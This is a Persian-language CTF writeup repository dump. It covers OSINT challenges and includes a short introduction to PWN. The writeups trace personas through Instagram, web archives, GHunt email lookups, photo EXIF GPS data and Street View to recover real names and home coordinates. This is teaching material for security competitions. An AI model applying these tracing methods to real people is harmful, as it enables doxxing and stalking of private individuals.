هدف خاص کمک کنند. به عنوان مثال، از روی عکس‌های پروفایل اینستاگرام یک شخص می‌توان نتیجه گرفت که او به گردش در طبیعت علاقه دارد، پس می‌توان یک بدافزار به شکل یک عکس از طبیعت، شخص را وادار به اجرای آن کرد. با جمع‌آوری و استدلال روی این اطلاعات، یک مهاجم می‌تواند حمله‌های سایبری هدفمندتری را روی یک شخص یا سازمان پیاده کند. 13 | 14 | 15 |
16 | ![osint.jpg](osint.jpg) 17 |
18 | 19 | ### OSINT در مسابقات CTF: 20 | OSINT یک دسته‌ از چالش‌های در CTF است که در چند سال اخیر بخاطر گسترش داده‌های موجود در وب و کمک آن به شناسایی (Recon) هدف به این مسابقات اضافه شده است. 21 | در این نوع از چالش‌ها فرد باید مانند یک کاراگاه، اطلاعات مختلف در رابطه با یک موضوع را کنار هم بچیند و سرنخ‌های مختلف را دنبال کند تا به هدف چالش یعنی پیدا کردن پرچم (Flag) برسد. در این راه می‌توان از ابزارهای مختلف مانند موتور‌های جستجو، شبکه‌های اجتماعی، وبسایت‌ها و شواهد موجود در تصاویر بهره ببرد تا فلگ را پیدا کند. -------------------------------------------------------------------------------- /docs/osint/osint.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/osint.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/1.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/2.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/3.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/4.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/5.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/challenge cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/0xL4ughCTF/challenge cover.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/0xL4ughCTF/cheater.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - 0xL4ughCTF 4 | - 0xL4ughCTF-2024 5 | - Osint 6 | - instagram 7 | - archive.ph 8 | - gmail 9 | - Ghunt 10 | --- 11 | 12 | # چالش Cheater 13 | 14 | --- 15 | 16 |
17 | ![challenge cover.png](./challenge cover.png) 18 |
19 | 20 | 1- اسم Hamdia Eldhkawy در گوگل جستجو کردم که بعد تعدادی صفحه اینستاگرام، به [این](https://www.instagram.com/hamdia_elhob_kolo) آدرس رسیدم. 21 | 22 | 23 |
24 | ![1.png](./1.png) 25 |
26 | 27 | 2- اسم اکانت hamdia_elhob_kolo در موتور جستجو DuckDuckgo جستجو کردم به یک فروم OpenAI می رسیم که عکس زیر آنجا بود. 28 | 29 |
30 | ![2.png](./2.png) 31 |
32 | 33 | 3- در متن کنار این عکس یک به نظر یک اکانت spider@ هست که اون رو زیاد جستجو کردم که نتیجه نداشت. بعد، آدرس url موجود در عکس جستجو کردم که فهمیدم این عکس اینستاگرام حذف شده است. توی سایت‌های آرشیو دنبال url گشتم که در سایت [archive.ph](https://www.archive.ph) زیر این صفحه ثبت شده بود. پس تکمیل شده اکانت spidersh4zly@ بدست آوردیم. 34 | 35 | 36 |
37 | ![3.jng](./3.jpg) 38 |
39 | 40 | 41 | 4- اسم اکانت spidersh4zly@ جستجوکردم که به مارو به صفحه اینستا زیر می بره. 42 | 43 |
44 | ![4.png](./4.png) 45 |
46 | 47 | 5- آدرس url داخل این صفحه رو که بزنیم به صفحه زیر میریم که اکانت های توییتر، فیس بوک و یک آدرس جی‌میل (spidersh4zly4love@gmail.com) در اونجا هست. 48 | 49 | 50 |
51 | ![5.png](./5.png) 52 |
53 | 54 | 6- حالا با استفاده از ابزار [Ghunt](https://github.com/mxrch/GHunt) اطلاعات مربوط به این ایمیل را بدست آوردیم که اسم و فامیل صاحب این ایمیل هم بدست آمد. 55 | 56 | --- 57 | ??? success "FLAG :triangular_flag_on_post:" 58 |
`0xL4ugh{Abdelfatah_ElCanaway}`
59 | 60 | 61 | !!! نویسنده 62 | [HIGHer](https://twitter.com/HIGH01012) -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/Rise.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/Rise.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/angle-photo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/angle-photo.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/angle-satellite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/angle-satellite.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/date-table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/date-table.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure00.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure01.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure02.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure03.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure04.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/measure05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/measure05.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-july-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-july-13.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-july.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-july.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-june-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-june-1.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-june.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-june.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-may-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-may-25.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/PlatypwnCTF/weather-may.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/PlatypwnCTF/weather-may.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/28nov_delay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/28nov_delay.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/Backtrack.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - niteCTF 4 | - niteCTF 2024 5 | - OSINT 6 | - train delay 7 | - Archive 8 | --- 9 | 10 | # چالش Backtrack 11 | 12 |
13 | ![cover challenge](cover.png){ width="400" } 14 |
15 | 16 | خب طبق خواسته سوال ما باید ببینیم در چه تاریخ و ساعتی قطار بین دو شهر Omotesando و Suitengumae تاخیر داشته 17 | 18 | ## راه‌حل 19 | 20 | خب با اندکی جستجو و بررسی سایت‌های مختلف متوجه شدم اول که این دو اسم شهر نیستن و اسم دو ایستگاه مترو خط Z توکیو هستند. 21 | 22 |
23 | ![metro line](Line_z.png){ width="500" } 24 |
25 | 26 | دوباره با جستجو با کلید واژه "daley" به دنبال سایتی بودم که اطلاعات مربوط به تاخیرهای قطار رو به ما بده که در نهایت به [این](https://www.tokyometro.jp/lang_en/delay/history/hanzomon.html) سایت رسیدم. 27 | شروع به گشتن توی این سایت کردم در تاریخ 5 نوامبر تاخیر 61 دقیقه ای داشته که فکر کردم کار تموم است ولی جواب درست نبود :cry: 28 | 29 | 30 |
31 | ![28 November delay](28nov_delay.png){ width="500" } 32 |
33 | 34 | عجیب بود برام و تاریخ‌ها و ساعت‌های همین حوالی رو امتحان کردم ولی درست نبود. بعد از مدتی چشم به تاریخ 2017 افتاد دیدم که کلا فراموش کردم که باید در این تاریخ دنبال تاخیر می‌گشتم اما این سایت تنها تاخیرهای 35 روز گذشته رو ذخیره داره 35 | 36 | پس رفتم به توی سایت [آرشیو](https://www.tokyometro.jp/lang_en/delay/history/hanzomon.html) همین لینک قبلی رو اونجا دنبال کردم ه دیدم بله توی سال 2017 چند تا مورد آرشیو ثبت شده از این سایت و تاخیرهاش هست 37 | 38 |
39 | ![english version archive](english_archive.png){ width="500" } 40 |
41 | 42 | همه این تاریخ‌هایی که توی سایت آرشیو بود هم بررسی کردم ولی توی هیچ کدام مقدار 61 دقیقه تاخیر وجود نداشت.:cry: 43 | باز یک مدت زمانی دنبال این بودم که چه چیزی رو از قلم انداختم تا اینکه متوجه شدم با لینک بدون زبان انگلیسی (ینی زبان ژاپنی سایت ) هم تاریخ‌های متفاوتی از نسخه انگلیسی وجود دارد. پس 44 | 45 |
46 | ![japanese version archive](Japanese_archive.png){ width="500" } 47 |
48 | 49 | در نهایت در تاریخ 20 فوریه همانند شکل زیر یک تاخیر 61 دقیقه‌ای در ساعت 17 وجود دارد که بلاخره درست بود. 50 | 51 |
52 | ![correct delay](correct_date_delay.png){ width="500" } 53 |
54 | 55 | 56 | 57 | 58 | !!! جالب 59 | در همین سایتی که اطلاعات تاخیر قطارها در ژاپن قرار گرفته قابلیت اینکه تاخیر آن روز را پرینت بگیرید لحاظ شده تا در صورتی که به کار خود نرسیدید بتوانید به عنوان علت تاخیر آن را ارائه دهید 60 | 61 | 62 | --- 63 | ??? success "FLAG :triangular_flag_on_post:" 64 |
`nite{17:00_20February}`
65 | 66 | 67 | !!! نویسنده 68 | [HIGHer](https://twitter.com/HIGH01012) -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/Japanese_archive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/Japanese_archive.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/Line_z.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/Line_z.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/correct_date_delay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/correct_date_delay.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/cover.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/niteCTF/english_archive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/niteCTF/english_archive.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - wCTF 4 | - wCTF-2024 5 | - Osint 6 | - twitter comments 7 | --- 8 | 9 | # چالش WOLPHV-I: Reconnaissance 10 | 11 | --- 12 | 13 |
14 | ![challenge cover.jpg](./challenge cover.jpg) 15 |
16 | 17 | ## صورت مسئله 18 | در این چالش یک لینک داده شده و بنظر باید با استفاده از این لینک به خواسته مسلله یعنی پرچم برسیم 19 | 20 | ## راه‌حل چالش 21 | توی این چالش با اینکه گفته شده که برای پیدا کردن فلگ نباید دنبال آن در اکانت های توییتر خود گروه Wolphv باشیم ولی با یک جستجو توی اینترنت در مورد این باج‌افزار به یک [توییت](https://twitter.com/FalconFeedsio/status/1706989111414849989) بر میخوریم که در مورد این باج افزار توییتی زده. 22 | 23 | 24 |
25 | ![google search.png](./google search.png) 26 |
27 | 28 | بعد از باز کردن و بررسی قسمت نظرات ، پایین ترین کامنت یک کد base64 هست که احتمالا باید فلگ باشه. بعد دیکد کردن آن فلگ بدست میاد. 29 | 30 |
31 | ![twitter comments.jpg](./twitter comments.jpg) 32 |
33 | 34 | این سوال ساده‌ای بود اما نکته گمراه کننده این بود که در توضیحات چالش گفته بود که نباید به توییتر توجه کرد. 35 | 36 | --- 37 | ??? success "FLAG :triangular_flag_on_post:" 38 |
`wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}`
39 | 40 | 41 | !!! نویسنده 42 | [HIGHer](https://twitter.com/HIGH01012) -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-I/challenge cover.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-I/challenge cover.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-I/google search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-I/google search.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-I/twitter comments.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-I/twitter comments.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - wctf 4 | - wctf-2024 5 | - Osint 6 | - image coordinates 7 | - google map 8 | --- 9 | 10 | # چالش WOLPHV-III: p1nesh4dow48 11 | --- 12 | 13 |
14 | ![challenge cover.png](./challenge cover.png) 15 |
16 | 17 | ## صورت مسئله 18 | این سوال در ادامه چالش قبلی یعنی WOLPHV-II است که در آن به توانستیم دیسکورد آن ها را بدست بیاوریم. 19 | 20 | 21 | ## راه‌حل چالش 22 | 23 | بعد از اینکه تونستیم به سرور دیسکورد گروه در چالش قبلی وارد بشیم برای این سوال مختصات آدرس آپارتمان اکانت p1nesh4dow48 از ما میخواد که داخل سرور این گروه همین شخص عکس آپارتمانش رو گذاشته است. 24 | 25 |
26 | ![discord image.png](./discord image.png) 27 |
28 | 29 | خب برای حل این چالش اولین چیزی که به ذهنم رسید این بود که داخل google image دنبال این عکس بگردم که با حالت ها و تکه های مختلف عکس با google lenz جسجو کردم ولی فایده‌ای نداشت و آپارتمان ها هیچکدوم این اپارتمان نبود. 30 | 31 |
32 | ![google image.png](./google image.png) 33 |
34 | 35 | با دقت به عکس یک تابلو سمت چپ عکس می‌بینیم که نوشته شده```Pine Ridge visitor parking only``` که ذهنم برد به سمت اینکه ممکنه احتمالا ```Pine ridge```یک مکان دیدنی باید باشه که مردم برای بازدید به اونجا میان و این آپارتمان نزدیک اونه. پس توی اینترنت چند ساعت دنبال این مکان دیدنی گشتم ولی فایده نداشت. بعد از مدتی، داخل google Map کلمات کلیدی ```Pine Ridge apartments michigan``` چون حدس زدم اسم آپارتمان شاید این باشه و چون در رابطه دانشگاه میشگان بودن این افراد که نقاط عکس زیر به ما نشون داد یکی از اون‌ها شباهت به همین آپارتمان موردنظر داشت بعد که وارد [street view](https://www.google.com/maps/@46.546214,-87.388624,3a,75y,99.64h,72.87t/data=!3m6!1e1!3m4!1sYz6AgzjDcR_0Dy8VjBPX4w!2e0!7i16384!8i8192?hl=pt-PT&entry=ttu) شدم دیدم که بله خودشه :hand_with_index_finger_and_thumb_crossed:. 36 | 37 |
38 | ![apartment.png](./apartment.png) 39 |
40 | 41 | پس جستجوی **کلمه کلیدی مناسب** خیلی مهمه 42 | 43 | --- 44 | ??? success "FLAG :triangular_flag_on_post:" 45 |
`wctf{46.546,-87.388}`
46 | 47 | 48 | !!! نویسنده 49 | [HIGHer](https://twitter.com/HIGH01012) -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-III/apartment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-III/apartment.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-III/challenge cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-III/challenge cover.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-III/discord image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-III/discord image.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-III/google image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-III/google image.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - wctf 4 | - wctf-2024 5 | - Osint 6 | - image location 7 | - flickr 8 | - google map 9 | --- 10 | 11 | # چالش WOLPHV-IV: d4wgbyte262 12 | --- 13 | 14 |
15 | ![challenge cover.jpg](./challenge cover.jpg) 16 |
17 | 18 | ## صورت مسئله 19 | 20 | در این چالش هم باید مثل قبلی محل سکونت یکی دیگه از اعضای گروه دیسکورد یعنی d4wgbyte262 پیدا کنیم. 21 | 22 | ## راه‌حل چالش 23 | 24 | با توجه به صحبت های که توی گروه داشتن نشون میده که ای شخص سگ دارهو در مورد یک چیزی به اسم flick می‌کنند. 25 | 26 |
27 | ![discord chats.png](./discord chats.png) 28 |
29 | 30 | با این اطلاعات اولین کاری که کردم این بود که ببینم آیا اکانت دیگه‌ای با این اسم داخل شبکه های اجتماعی دیگه هست یا نه. پس در سایت [discoverprofile](https://discoverprofile.com/) اکانت این شخص جستجو کردم که نتیجه بدرد بخوری نداشت. بعد توی موتور [DuckDuckgo](https://duckduckgo.com/) هم گشتم که یک سایت به اسم [flickr](https://www.flickr.com/photos/200261418@N03/) نظرم جلب کرد و بعد که داخلش رفتم عکس‌های زیاد از یک سگ به اشتراک گذاشته شده بود. 31 | پس فهمیدم که تا این جا درسته و این اکانت یک ربطی به داستان داره.:hand_with_index_finger_and_thumb_crossed: 32 | 33 |
34 | ![flickr account.png](./flickr account.png) 35 |
36 | 37 | عکس ها رو بررسی کردیم که شاید نشانه‌ای از خانه این شخص باشه ولی چیزی دستگیرم نشد. بعد چنتا از عکس‌ها رو دانلود کردم و با ابزار exiftool اطلاعات داخل عکس نگاه کردم که دیدم یک موقعیت جغرافیایی داخل هر عکس هست. 38 | 39 | ولی متاسفانه هر عکس یک موقعیت جغرافیایی متفاوت از نقطههای مختلف شهر داشت و نمیشد موقعیت دقیق خانه بدست آورد. 40 | یک مدتی درگیر همین بودم که دوباره دیسکورد نگاه کردم و از صحبت هاشون متوجه شدم که خانه‌اش نزدیک‌ترین موقعیت به یک ایستگاه آتش‌نشانی باید باشه. 41 | 42 | 43 |
44 | ![discord chats 2.png](./discord chats 2.png) 45 |
46 | 47 | پس با نگاه کردن به موقعیت هر عکس نزدیک‌ترین مکان به ایستگاه آتش‌نشانی رو بدست آوردیم. 48 | 49 |
50 | ![house coordinates.png](./house coordinates.png) 51 |
52 | 53 | --- 54 | ??? success "FLAG :triangular_flag_on_post:" 55 |
`wctf{51.0911, -113.9561}`
56 | 57 | 58 | !!! نویسنده 59 | [HIGHer](https://twitter.com/HIGH01012) -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/challenge cover.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-IV/challenge cover.jpg -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/discord chats 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-IV/discord chats 2.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/discord chats.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-IV/discord chats.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/flickr account.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-IV/flickr account.png -------------------------------------------------------------------------------- /docs/osint/writeups/2024/wctf/WOLPHV-IV/house coordinates.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/writeups/2024/wctf/WOLPHV-IV/house coordinates.png -------------------------------------------------------------------------------- /docs/pwn/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/console 3 | --- 4 | # کشف و بهره‌برداری آسیب‌پذیری (PWN) 5 | 6 | خب حالا بریم ببینیم که اصلا PWN یعنی چی و همچین کلمه ای از کجا میاد ؟! 7 | 8 | کلمه [PWN](https://dictionary.cambridge.org/dictionary/english/pwn) توی دیکشنری به معنی شکست دادن یا به دست آوردن کنترل کسی یا یک چیزی هست و در واقع یک واژه ای هست که در طول زمان توسط هکرها و بعضا گیمرها به وجود میاد. اگر دقت کرده باشین به کیبوردتون میبینید که دو حرف P و O توی چینش [QWERTY](https://en.wikipedia.org/wiki/QWERTY) درکنار همدیگه قرار گرفتن و احتمالا میدونین که چی میخوام بگم حالا! 9 | 10 | بله دقیقا! کلمه PWN به خاطر ی غلط املایی در پی نوشتن کلمه OWN به وجود میاد و به همین خاطره که شما وقتی PWN رو گوگل میکنید اغلب میگن که این کلمه مثل OWN تلفظ میشه یا معنی اش میشه تصاحب کردن چیزی و از این حرفا! 11 | 12 | توی مسابقات CTF هم اگه که شرکت کرده باشین یا حداقل پیش دوستاتون ی چیزایی دیده باشین متوجه شدین که یک فایل باینری یا... رو به شما میدن و ازتون میخوان که از آسیب پذیری توی این برنامه استفاده کنید تا بتونید باهاش سروری که آی‌پی و پورت اش در اختیارتون قرار گرفته رو تصاحب کنید و یک FLAG رو در نهایت به دست بیارین. 13 | 14 | پس داشتن دانش توی حوزه باینری و زبان های برنامه نویسی مثل Assembly و C و CPP و گاها Rust و Go، میتونه در موفتیت شما توی این مسیر خیلی کمک کننده و مهم باشه!! 15 | 16 | یکی از اهداف مهمی که این بخش توی CTF ها داره این هست که بتونه به شما [Secure Coding](https://en.wikipedia.org/wiki/Secure_coding) رو یاد بده! 17 | 18 |
19 | ![pwn image](pwn.jpg){ width=650px height=400px } 20 |
21 | 22 | درسته مثال ها و چالش هایی که حل میکنید رو نمیتونید عینا به همون شکل در دنیای کامپیوتر و نرم افزار و... مشاهده کنید ولی یکی از بهترین فرصت هایی که CTF ها میتونن براتون تو این قسمت ایجاد کنن قطعا یادگیری مکانیسم ها و اقدامات کاهشی یا همون [Mitigation](https://cyberpedia.reasonlabs.com/EN/exploit%20mitigation.html) ها در ویندوز و لینوکس وغیره و شیوه های متفاوت برای دور زدن اون ها هست. علاوه بر این مهارت حل مسئله شما نیز تقویت میشه و خلاقتیتتون در مواقعی که با محدودیت رو به رو میشید رشد میکنه. در نهایت این تکه های پازل و قدم های کوچیک هستن که کنار هم دیگه جمع میشن و نتایج بزرگتری رو رقم میزنن(; 23 | 24 | در نهایت میتونید از مهارت هایی که توی این بخش به دست میارید در توسعه [Exploit](https://www.offsec.com/cyberversity/exploit-development/) استفاده کنید. 25 | -------------------------------------------------------------------------------- /docs/pwn/pwn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/pwn.jpg -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snapp_admin1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snapp_admin1.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snapp_admin2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snapp_admin2.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snapp_admin3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snapp_admin3.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snapp_admin4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snapp_admin4.png -------------------------------------------------------------------------------- 